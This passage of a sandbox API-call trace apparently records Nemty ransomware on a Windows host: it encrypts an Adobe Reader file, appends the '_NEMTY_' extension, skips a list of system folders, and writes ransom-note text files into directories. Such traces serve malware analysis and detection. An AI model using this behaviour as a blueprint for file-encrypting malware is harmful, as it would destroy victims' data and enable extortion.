lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0188.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0188.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0188.506] Sleep (dwMilliseconds=0x5) [0188.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2401ac30, dwHighDateTime=0x1d561e8)) [0188.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2401ac30, dwHighDateTime=0x1d561e8)) [0188.508] GetLastError () returned 0x0 [0188.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.508] GetLastError () returned 0x0 [0188.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.508] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.508] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.509] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0188.509] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="3pVORMrQfB+T52KpWEwedTjNxgoEGZXeZJtL8bMEkdpcNK+nMj5Ix2PjUgrMI8IR\r\nMQd91T5DbBjj4DA4tRC3lg0G4LHZdiPEO/tYYLkIc5ONHKhcVNY9Qgsoln2mijUt\r\nIikgvu9nzCtnBEgrITPYwGnaOiGIkvUaG2Kbix/uSxNf3wf39L40gnVCE9gDTybh\r\nSkW/FMQXS56Vifi40YfuLlzSXpJb5Is3cjdrd83oR7HFqpNpgnj5AjqUsQZ+qfgO\r\ndYaGW4viE0W9ziL1tCthrfNUISWZTAeBgXW6ab180uFTj6e3C96Fs+jSaa1t2XU2\r\neA3b4z58WNQDLt9YEd1NEA==\r\n", pcchString=0x653df5c) returned 1 [0188.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0188.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0188.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.509] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.509] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=632973) returned 1 [0188.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0188.509] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.509] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0188.518] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.518] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0188.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.519] SetFilePointer (in: hFile=0x320, lDistanceToMove=632973, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9a88d [0188.519] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.520] CloseHandle (hObject=0x320) returned 1 [0188.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0188.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0188.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0188.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0188.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.521] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0188.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0188.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0188.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0188.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.521] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23eea130, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x23eea130, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23eea130, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0188.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0188.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0188.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0188.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0188.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0188.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0188.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0188.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.523] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23eea130, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x23eea130, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23eea130, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0188.523] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0188.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0188.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.523] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="FRA", cAlternateFileName="")) returned 1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2=".") returned 1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="..") returned 1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="...") returned 1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="windows") returned -1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="$RECYCLE.BIN") returned 1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="rsa") returned -1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="NTDETECT.COM") returned -1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="ntldr") returned -1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="MSDOS.SYS") returned -1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="IO.SYS") returned -1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="boot.ini") returned 1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="boot.ini") returned 1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="AUTOEXEC.BAT") returned 1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="ntuser.dat") returned -1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="desktop.ini") returned 1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="CONFIG.SYS") returned 1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="RECYCLER") returned -1 [0188.523] lstrcmpiW (lpString1="FRA", lpString2="BOOTSECT.BAK") returned 1 [0188.524] lstrcmpiW (lpString1="FRA", lpString2="bootmgr") returned 1 [0188.524] lstrcmpiW (lpString1="FRA", lpString2="programdata") returned -1 [0188.524] lstrcmpiW (lpString1="FRA", lpString2="appdata") returned 1 [0188.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRA", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FRA", lpUsedDefaultChar=0x0) returned 3 [0188.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRA", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FRA", lpUsedDefaultChar=0x0) returned 3 [0188.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0188.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340338 [0188.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0188.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0188.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0188.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340430 [0188.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0188.524] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.527] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.527] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0188.528] CloseHandle (hObject=0x2f0) returned 1 [0188.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0188.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0188.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0188.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: 